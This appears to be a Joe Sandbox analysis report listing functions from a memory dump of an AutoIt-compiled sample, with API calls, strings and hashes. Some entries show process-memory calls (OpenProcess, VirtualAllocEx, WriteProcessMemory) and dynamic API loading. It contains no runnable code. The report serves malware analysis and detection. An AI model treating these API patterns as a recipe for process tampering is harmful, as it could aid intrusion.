Instruction Fuzzy Hash: 10916B71128306EFCB14EF24C889C7EB7A9EF95314F00491EF5459B2A2DB60ED68CB52

Function 0025B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 001F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001F4743,?,?,001F37AE,?), ref: 001F4770

CoInitialize.OLE32(00000000), ref: 0025B9BB
CoCreateInstance.OLE32(00282D6C,00000000,00000001,00282BDC,?), ref: 0025B9D4
CoUninitialize.OLE32 ref: 0025B9F1

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

Strings

.lnk, xrefs: 0025B99D, 0025B9AB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 7fe3607dd8c926bbcc337445494303a92d4dbac5af285692cd52af580d7bfb7e
Instruction ID: 5e967d898107ddcd02ca03772321305a4735fd0fd5f84fc83f5f1203824c0309
Opcode Fuzzy Hash: 7fe3607dd8c926bbcc337445494303a92d4dbac5af285692cd52af580d7bfb7e
Instruction Fuzzy Hash: F3A145756143099FCB00EF14C484E2ABBE5FF89315F148958F9999B3A2CB31EC49CB91

Function 0024B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0024B4BE

Strings

AutoIt3GUI, xrefs: 0024B436
Container, xrefs: 0024B43B
%(, xrefs: 0024B561

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%(
API String ID: 3565006973-3352584364
Opcode ID: 07278f54a20e1a9c289328515b5ea5e313af37937f090c339f3f598a63fe7ec6
Instruction ID: d7d11f9394792470ea6a4e23a8108662f76cac2af005780ee0c9dade45d9859c
Opcode Fuzzy Hash: 07278f54a20e1a9c289328515b5ea5e313af37937f090c339f3f598a63fe7ec6
Instruction Fuzzy Hash: F3913A70620601AFDB19DF64C884B6ABBE9FF49710F24856DF94ACB291DBB0E851CB50

Function 0021501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 002150AD

Part of subcall function 002200F0: __87except.LIBCMT ref: 0022012B

Strings

pow, xrefs: 00215085, 002150A2

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 3148c890839ded558fa4247eba46e624e1a91f85e5de33257807958cc810dc88
Instruction ID: cac218c960d0509ffb0b0121c9beeed679760747222c0f04a71a189c725a566e
Opcode Fuzzy Hash: 3148c890839ded558fa4247eba46e624e1a91f85e5de33257807958cc810dc88
Instruction Fuzzy Hash: F6519120938513E6D7117F94E8853EE2BD49BA4300F3049D9E4D9461A6DF748DF49B85

Function 00238584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0023862B
_memmove.LIBCMT ref: 00238685

Strings

3c , xrefs: 0023860C
_ , xrefs: 002386FF, 0023DFDC, 0023DFF8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove
String ID: 3c $_
API String ID: 4104443479-3624874895
Opcode ID: 27432aa9adce549a2bb5712c22f8e7881ef17aa5b4c4421061155b604fe596af
Instruction ID: da9842dfff8092d17c07d79666404a32c49e57b53a07621bce057e8c326887b3
Opcode Fuzzy Hash: 27432aa9adce549a2bb5712c22f8e7881ef17aa5b4c4421061155b604fe596af
Instruction Fuzzy Hash: 085171B0E1061A9FCF65CF68C484AAEB7F1FF44304F148529E85ADB250E730A965CF51

Function 002497F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002514BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00249296,?,?,00000034,00000800,?,00000034), ref: 002514E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0024983F

Part of subcall function 00251487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,002492C5,?,?,00000800,?,00001073,00000000,?,?), ref: 002514B1

Part of subcall function 002513DE: GetWindowThreadProcessId.USER32(?,?), ref: 00251409
Part of subcall function 002513DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0024925A,00000034,?,?,00001004,00000000,00000000), ref: 00251419
Part of subcall function 002513DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0024925A,00000034,?,?,00001004,00000000,00000000), ref: 0025142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 002498AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 002498F9

Strings

@, xrefs: 00249911

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: f92c02576d8468e5e373f66c007b8affa5aed695f2aac1711b18e8123b990e45
Instruction ID: 00d8266c4ab1af7cae13bb203aa60c2499b86d5c68dc410906b6e0c6d088eae4
Opcode Fuzzy Hash: f92c02576d8468e5e373f66c007b8affa5aed695f2aac1711b18e8123b990e45
Instruction Fuzzy Hash: 4B415E76900218BFDB14DFA4CD86BDEBBB8EB09700F004199F955B7181DA706E99CFA0

Function 00277946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0027F910,00000000,?,?,?,?), ref: 002779DF
GetWindowLongW.USER32 ref: 002779FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00277A0C

Strings

SysTreeView32, xrefs: 002779B1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a07f98b5a40146efc2217e620161fed3c3fcb0bda1c911b5b90ff826048083ab
Instruction ID: 2667f696399b56df11d1905dfe979f76a9ca0dc9db82e229f09900800de07fd9
Opcode Fuzzy Hash: a07f98b5a40146efc2217e620161fed3c3fcb0bda1c911b5b90ff826048083ab
Instruction Fuzzy Hash: C831E13121560AAFDB118E38DC45BEA77A9FB09324F208725FA79D32E0D730ED608B50

Function 002773D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00277461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00277475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00277499

Strings

SysMonthCal32, xrefs: 0027742C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: e976d9ad0f2345dd7bbbd5d5cb9a8b4088e87a8816d3401c1cbca0bef32d7360
Instruction ID: c26a7e6711e5e15219ee177197019a5ab204ddbcb795604c98fe4ed27870af16
Opcode Fuzzy Hash: e976d9ad0f2345dd7bbbd5d5cb9a8b4088e87a8816d3401c1cbca0bef32d7360
Instruction Fuzzy Hash: 7221B132614219ABDF118E54CC56FEA3B79FF48724F114214FE196B190DA75ACA0DBA0

Function 00277B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00277C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00277C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00277C5F

Strings

msctls_updown32, xrefs: 00277BC4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 6d412fd3244ec3d7c793da01e58caa233a9785276eb30c878853159abd359e65
Instruction ID: 765cc9618ecbf314c5bf756e094f2827fc81f57de72f33e0bf229830d33fe32c
Opcode Fuzzy Hash: 6d412fd3244ec3d7c793da01e58caa233a9785276eb30c878853159abd359e65
Instruction Fuzzy Hash: C721AEB1214219AFDB11DF24DCC5DA637ECEF5A364B104059FA189B3A1CB31EC618A60

Function 00276CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00276D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00276D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00276D70

Strings

Listbox, xrefs: 00276D08

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: b34e03ed9efa2263d590617190de54697a3ad94a555a4023b8bed038a5fdf921
Instruction ID: 1cac5c36112b94135347a28d17d815ce11fa101d9bc3a7c7082bf104131f8615
Opcode Fuzzy Hash: b34e03ed9efa2263d590617190de54697a3ad94a555a4023b8bed038a5fdf921
Instruction Fuzzy Hash: 4221A732620119BFDF228F54DC49FBB377AEF89750F01C129F9499B1A0CA719C619BA0

Function 002639E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00263A66

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Strings

AUTOITCALLVARIABLE%d, xrefs: 00263A58
%(, xrefs: 002639F4
, $, xrefs: 00263AA6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%(
API String ID: 3506404897-3844232274
Opcode ID: 802a9b9f51525f16a0ddccb3c7aa1029c6416c207091a438ca69e737459b0f6a
Instruction ID: 6bff96b1806ab5d5d295938a4fe27341aee8a778a8c566b7107d1e9d37babe66
Opcode Fuzzy Hash: 802a9b9f51525f16a0ddccb3c7aa1029c6416c207091a438ca69e737459b0f6a
Instruction Fuzzy Hash: DA218F31A1021DABCF14EFA4CC82AAE77B9AF55300F404455F549A7281DB30EAA5DBA1

Function 0027770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00277772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00277787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00277794

Strings

msctls_trackbar32, xrefs: 00277749

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 09c861a610e0561c52e8c7605233ac60fad395afa0df339dc5dd317414792f18
Instruction ID: f05679ca8fe5c0ff7819fd97bf2fad0e904ef6511c18cc723b071f04a6bce935
Opcode Fuzzy Hash: 09c861a610e0561c52e8c7605233ac60fad395afa0df339dc5dd317414792f18
Instruction Fuzzy Hash: 1D113A32214209BFEF145F65CC05FE7776CEF89B54F018118F74596090C671E861CB20

Function 00216B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00216B93
__calloc_crt.LIBCMT ref: 00216BAC

Strings

@B+, xrefs: 00216BC3
*, xrefs: 00216BD1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __calloc_crt
String ID: *$@B+
API String ID: 3494438863-4096379113
Opcode ID: 69cb770c281408b77a5d9675aa8ecaa4d94db816312e82732d1e31ca45e79740
Instruction ID: 57982e2fc674ff10db6eb714b68166fdea2cf0084e034023fa0ce85cb9add461
Opcode Fuzzy Hash: 69cb770c281408b77a5d9675aa8ecaa4d94db816312e82732d1e31ca45e79740
Instruction Fuzzy Hash: 13F0C87522D6268BFB289F54BC69BEA67D5E720334B140126F600EF1C0FB7089D286C0

Function 00219B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00219B94

Part of subcall function 00219C0B: __mtinitlocknum.LIBCMT ref: 00219C1D
Part of subcall function 00219C0B: EnterCriticalSection.KERNEL32(00000000,?,00219A7C,0000000D), ref: 00219C36

__updatetlocinfoEx_nolock.LIBCMT ref: 00219BA4

Part of subcall function 00219100: ___addlocaleref.LIBCMT ref: 0021911C
Part of subcall function 00219100: ___removelocaleref.LIBCMT ref: 00219127
Part of subcall function 00219100: ___freetlocinfo.LIBCMT ref: 0021913B

Strings

8*, xrefs: 00219B85
8*, xrefs: 00219B8A, 00219B9F, 00219BAB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: 8*$8*
API String ID: 547918592-1233560230
Opcode ID: ae14772b94a5fba42a42d9a0ea0b2b5a53fdbed55bca49a2fa53f53e3cb7ee6c
Instruction ID: 3a4293aebcf616212fbb3ecb1adf270767eb7ab0a0c5908fe390f4d85fb6e239
Opcode Fuzzy Hash: ae14772b94a5fba42a42d9a0ea0b2b5a53fdbed55bca49a2fa53f53e3cb7ee6c
Instruction Fuzzy Hash: 68E08631967306A7DE10FBA4695B7D836D0AB12729F21019AF049555C1CD7005E1C967

Function 001F4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001F4BD0,?,001F4DEF,?,002B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 001F4C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 001F4C23

Strings

Wow64DisableWow64FsRedirection, xrefs: 001F4C1D
kernel32.dll, xrefs: 001F4C0C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 5ef5a8bc4341560ab1cb4e246b62a374a7d4d0928445d8b284545d076388e655
Instruction ID: 50a0bc90d9bd1090512d46ded3bc0eb7e25fa03d80dbac42788fd56ac1b97ab5
Opcode Fuzzy Hash: 5ef5a8bc4341560ab1cb4e246b62a374a7d4d0928445d8b284545d076388e655
Instruction Fuzzy Hash: 61D01230515713CFD7209F71DA08617B6D5EF0A351F51DC39958DD6150E7B0D4C0CA50

Function 001F4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001F4B83,?), ref: 001F4C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 001F4C56

Strings

Wow64RevertWow64FsRedirection, xrefs: 001F4C50
kernel32.dll, xrefs: 001F4C3F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 38ea30e00a5fe21d87746edef239ba295b9a2e1b4d8ae481965e8c02e247407e
Instruction ID: b2d0f481c6b30bba5b90df7931d4557239711920023452bebe5c279b6d926c78
Opcode Fuzzy Hash: 38ea30e00a5fe21d87746edef239ba295b9a2e1b4d8ae481965e8c02e247407e
Instruction Fuzzy Hash: 55D01730924723CFD7209F31EA0861B77E5AF06351F51D83A999AD6160FB70D8C0CAA0

Function 00270DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00271039), ref: 00270DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00270E07

Strings

advapi32.dll, xrefs: 00270DF0
RegDeleteKeyExW, xrefs: 00270E01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 07166e133256aa3e519f1d1d294dbf5d66826cb79178a17294260a7a5e18571d
Instruction ID: 70c8f3a4ef54222b4d36d5ec0060000667e67146c0da5c49a344f70472c683b9
Opcode Fuzzy Hash: 07166e133256aa3e519f1d1d294dbf5d66826cb79178a17294260a7a5e18571d
Instruction Fuzzy Hash: 63D0C770820323CFC3248F72D84D28273E4AF02342FA0CC3E988EC6150EAB0D8E0CA10

Function 002690E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00268CF4,?,0027F910), ref: 002690EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00269100

Strings

GetModuleHandleExW, xrefs: 002690FA
kernel32.dll, xrefs: 002690E9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 5dc340375a56cd6acbcaf797af984856e0cc72344b430d22eb2a17f0621e77f4
Instruction ID: 9d13586963396cca151e75e5929bcd2e2916186ff4c5dfa04bfd57d8058d9548
Opcode Fuzzy Hash: 5dc340375a56cd6acbcaf797af984856e0cc72344b430d22eb2a17f0621e77f4
